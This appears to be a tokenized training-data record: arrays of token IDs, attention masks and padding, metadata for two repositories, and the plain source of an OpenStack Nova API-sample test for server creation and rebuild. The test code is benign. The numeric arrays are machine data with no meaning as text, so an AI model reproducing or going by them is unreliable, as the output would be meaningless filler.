339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 423, 1617, 9, 339, 347, 5584, 7840, 8, 277, 304, 267, 327, 593, 8, 77, 9, 267, 3063, 275, 900, 14, 521, 342, 267, 286, 275, 378, 267, 1830, 822, 8, 277, 423, 2019, 63, 433, 30066, 9, 690, 378, 26, 288, 5210, 275, 291, 423, 2019, 63, 433, 30066, 59, 16, 61, 288, 340, 3063, 446, 5210, 2695, 291, 14, 2593, 26, 355, 2059, 288, 340, 291, 14, 1600, 63, 3058, 365, 440, 488, 26, 355, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 490, 340, 790, 315, 291, 423, 1617, 26, 717, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 1169, 574, 275, 291, 423, 1617, 59, 498, 61, 1169, 340, 574, 440, 315, 291, 423, 5938, 63, 1459, 26, 1816, 291, 14, 1600, 63, 3058, 8, 585, 9, 1816, 291, 423, 5938, 63, 1459, 14, 525, 8, 585, 9, 288, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 355, 291, 423, 2019, 63, 433, 30066, 14, 25704, 342, 355, 340, 790, 315, 291, 423, 1617, 26, 490, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 717, 2150, 291, 423, 1617, 59, 498, 61, 717, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 717, 286, 847, 413, 288, 2150, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 61, 267, 340, 286, 26, 288, 291, 423, 5938, 63, 1459, 14, 3584, 342, 288, 2050, 14, 1757, 3508, 68, 2883, 308, 1129, 541, 7, 450, 286, 9, 421, 199, 318, 511, 837, 272, 286, 275, 491, 9500, 4437, 8, 2593, 29, 16, 14, 19, 9, 339, 286, 459, 65, 418, 275, 413, 272, 702, 286, 459, 65, 418, 508, 413, 339, 900, 14, 4532, 8, 16, 14, 21, 9, 272, 286, 14, 31701, 342, 272, 702, 283, 65, 7, 440, 315, 286, 339, 286, 459, 65, 418, 275, 499, 272, 286, 459, 66, 418, 275, 650, 272, 900, 14, 4532, 8, 16, 14, 18, 9, 272, 286, 14, 31701, 342, 272, 702, 286, 459, 65, 418, 508, 499, 272, 702, 286, 459, 66, 418, 508, 650, 339, 900, 14, 4532, 8, 16, 14, 18, 9, 272, 286, 14, 31701, 342, 272, 286 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6900, 286, 674, 11530, 89, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 971, 272, 543, 63, 6242, 199, 199, 646, 5055, 199, 646, 2050, 199, 646, 900, 421, 199, 3, 642, 491, 9500, 4437, 365, 20212, 367, 406, 4968, 12, 440, 1413, 5067, 199, 3, 302, 26, 406, 4968, 12, 2883, 5489, 315, 314, 2581, 199, 3, 333, 26, 1321, 30066, 440, 18590, 734, 12, 24382, 279, 370, 1413, 5067, 627, 2653, 199, 3, 664, 1253, 663, 365, 593, 8, 17, 395, 440, 593, 8, 78, 680, 12850, 781, 883, 2291, 7437, 7031, 302, 199, 3, 3254, 26, 340, 2653, 503, 1413, 5067, 365, 4634, 7031, 12, 2066, 642, 2581, 365, 440, 7437, 13402, 12, 199, 3, 755, 465, 5584, 7840, 342, 14486, 1846, 16834, 421, 199, 533, 491, 9500, 4437, 8, 7882, 14, 17707, 7674, 304, 272, 408, 2765, 1021, 365, 440, 2462, 5048, 624, 339, 347, 636, 826, 721, 277, 12, 2653, 29, 2259, 12, 4002, 63, 3058, 29, 403, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 2593, 275, 2653, 267, 291, 14, 1600, 63, 3058, 275, 4002, 63, 3058, 267, 291, 423, 1617, 275, 1052, 267, 291, 423, 521, 63, 475, 63, 1612, 275, 5055, 14, 21501, 8, 513, 9, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 275, 1052, 267, 291, 423, 2019, 63, 433, 30066, 275, 5055, 14, 22983, 342, 267, 291, 423, 5938, 63, 1459, 275, 663, 342, 267, 291, 14, 873, 8, 807, 2031, 589, 12, 1011, 958, 430, 221, 327, 675, 314, 2867, 1678, 370, 663, 2883, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 267, 372, 291, 423, 1617, 59, 498, 61, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 1617, 59, 498, 61, 275, 574, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 2150, 291, 423, 1617, 59, 498, 61, 267, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 423, 1617, 9, 339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 423, 1617, 9, 339, 347, 5584, 7840, 8, 277, 304, 267, 327, 593, 8, 77, 9, 267, 3063, 275, 900, 14, 521, 342, 267, 286, 275, 378, 267, 1830, 822, 8, 277, 423, 2019, 63, 433, 30066, 9, 690, 378, 26, 288, 5210, 275, 291, 423, 2019, 63, 433, 30066, 59, 16, 61, 288, 340, 3063, 446, 5210, 2695, 291, 14, 2593, 26, 355, 2059, 288, 340, 291, 14, 1600, 63, 3058, 365, 440, 488, 26, 355, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 490, 340, 790, 315, 291, 423, 1617, 26, 717, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 1169, 574, 275, 291, 423, 1617, 59, 498, 61, 1169, 340, 574, 440, 315, 291, 423, 5938, 63, 1459, 26, 1816, 291, 14, 1600, 63, 3058, 8, 585, 9, 1816, 291, 423, 5938, 63, 1459, 14, 525, 8, 585, 9, 288, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 355, 291, 423, 2019, 63, 433, 30066, 14, 25704, 342, 355, 340, 790, 315, 291, 423, 1617, 26, 490, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 717, 2150, 291, 423, 1617, 59, 498, 61, 717, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 717, 286, 847, 413, 288, 2150, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 61, 267, 340, 286, 26, 288, 291, 423, 5938, 63, 1459, 14, 3584, 342, 288, 2050, 14, 1757, 3508, 68, 2883, 308, 1129, 541, 7, 450, 286, 9, 421, 199, 318, 511, 837, 272, 286, 275, 491, 9500, 4437, 8, 2593, 29, 16, 14, 19, 9, 339, 286, 459, 65, 418, 275, 413, 272, 702, 286, 459, 65, 418, 508, 413, 339, 900, 14, 4532, 8, 16, 14, 21, 9, 272, 286, 14, 31701, 342, 272, 702, 283, 65, 7, 440, 315, 286, 339, 286, 459, 65, 418, 275, 499, 272, 286, 459, 66, 418, 275, 650, 272, 900, 14, 4532, 8, 16, 14, 18, 9, 272, 286, 14, 31701, 342, 272, 702, 286, 459, 65, 418, 508, 499, 272, 702, 286, 459, 66, 418, 508, 650, 339, 900, 14, 4532, 8, 16, 14, 18, 9, 272, 286, 14, 31701, 342, 272, 286, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dims/nova
nova/tests/functional/api_sample_tests/test_personality.py
10
1590
# Copyright 2014 NEC Corporation. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from nova.tests.functional.api_sample_tests import test_servers from nova.tests.unit.image import fake class PersonalitySampleJsonTest(test_servers.ServersSampleBase): extension_name = 'os-personality' def test_servers_post(self): self._post_server(use_common_server_api_samples=False) def test_servers_rebuild(self): subs = { 'image_id': fake.get_valid_image_id(), 'host': self._get_host(), 'glance_host': self._get_glance_host(), 'access_ip_v4': '1.2.3.4', 'access_ip_v6': '80fe::' } uuid = self._post_server(use_common_server_api_samples=False) response = self._do_post('servers/%s/action' % uuid, 'server-action-rebuild-req', subs) subs['hostid'] = '[a-f0-9]+' subs['id'] = uuid self._verify_response('server-action-rebuild-resp', subs, response, 202)
apache-2.0
[ 3, 1898, 6927, 653, 4220, 11098, 14, 221, 2900, 4481, 4644, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 5913, 14, 2219, 14, 15481, 14, 1246, 63, 3271, 63, 2219, 492, 511, 63, 5871, 199, 504, 5913, 14, 2219, 14, 3248, 14, 1569, 492, 4026, 421, 199, 533, 8028, 6712, 8176, 9653, 774, 8, 396, 63, 5871, 14, 23637, 8176, 1563, 304, 272, 3329, 63, 354, 275, 283, 736, 13, 5484, 6712, 7, 339, 347, 511, 63, 5871, 63, 1932, 8, 277, 304, 267, 291, 423, 1932, 63, 1000, 8, 1180, 63, 2330, 63, 1000, 63, 1246, 63, 3356, 29, 797, 9, 339, 347, 511, 63, 5871, 63, 19278, 8, 277, 304, 267, 13868, 275, 469, 288, 283, 1569, 63, 344, 356, 4026, 14, 362, 63, 1078, 63, 1569, 63, 344, 1062, 288, 283, 1102, 356, 291, 423, 362, 63, 1102, 1062, 288, 283, 18773, 63, 1102, 356, 291, 423, 362, 63, 18773, 63, 1102, 1062, 288, 283, 2732, 63, 711, 63, 86, 20, 356, 283, 17, 14, 18, 14, 19, 14, 20, 297, 288, 283, 2732, 63, 711, 63, 86, 22, 356, 283, 1257, 771, 447, 7, 267, 789, 267, 5377, 275, 291, 423, 1932, 63, 1000, 8, 1180, 63, 2330, 63, 1000, 63, 1246, 63, 3356, 29, 797, 9, 267, 1177, 275, 291, 423, 1117, 63, 1932, 360, 5871, 3149, 83, 15, 1287, 7, 450, 5377, 12, 639, 283, 1000, 13, 1287, 13, 19278, 13, 2103, 297, 13868, 9, 267, 13868, 459, 1102, 344, 418, 275, 6730, 65, 13, 70, 16, 13, 25, 28012, 267, 13868, 459, 344, 418, 275, 5377, 267, 291, 423, 4712, 63, 1310, 360, 1000, 13, 1287, 13, 19278, 13, 4518, 297, 2892, 13868, 12, 1177, 12, 19328, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6927, 653, 4220, 11098, 14, 221, 2900, 4481, 4644, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 5913, 14, 2219, 14, 15481, 14, 1246, 63, 3271, 63, 2219, 492, 511, 63, 5871, 199, 504, 5913, 14, 2219, 14, 3248, 14, 1569, 492, 4026, 421, 199, 533, 8028, 6712, 8176, 9653, 774, 8, 396, 63, 5871, 14, 23637, 8176, 1563, 304, 272, 3329, 63, 354, 275, 283, 736, 13, 5484, 6712, 7, 339, 347, 511, 63, 5871, 63, 1932, 8, 277, 304, 267, 291, 423, 1932, 63, 1000, 8, 1180, 63, 2330, 63, 1000, 63, 1246, 63, 3356, 29, 797, 9, 339, 347, 511, 63, 5871, 63, 19278, 8, 277, 304, 267, 13868, 275, 469, 288, 283, 1569, 63, 344, 356, 4026, 14, 362, 63, 1078, 63, 1569, 63, 344, 1062, 288, 283, 1102, 356, 291, 423, 362, 63, 1102, 1062, 288, 283, 18773, 63, 1102, 356, 291, 423, 362, 63, 18773, 63, 1102, 1062, 288, 283, 2732, 63, 711, 63, 86, 20, 356, 283, 17, 14, 18, 14, 19, 14, 20, 297, 288, 283, 2732, 63, 711, 63, 86, 22, 356, 283, 1257, 771, 447, 7, 267, 789, 267, 5377, 275, 291, 423, 1932, 63, 1000, 8, 1180, 63, 2330, 63, 1000, 63, 1246, 63, 3356, 29, 797, 9, 267, 1177, 275, 291, 423, 1117, 63, 1932, 360, 5871, 3149, 83, 15, 1287, 7, 450, 5377, 12, 639, 283, 1000, 13, 1287, 13, 19278, 13, 2103, 297, 13868, 9, 267, 13868, 459, 1102, 344, 418, 275, 6730, 65, 13, 70, 16, 13, 25, 28012, 267, 13868, 459, 344, 418, 275, 5377, 267, 291, 423, 4712, 63, 1310, 360, 1000, 13, 1287, 13, 19278, 13, 4518, 297, 2892, 13868, 12, 1177, 12, 19328, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
EDUlib/xqueue
submission_queue/management/commands/retire_failed_submissions.py
2
2654
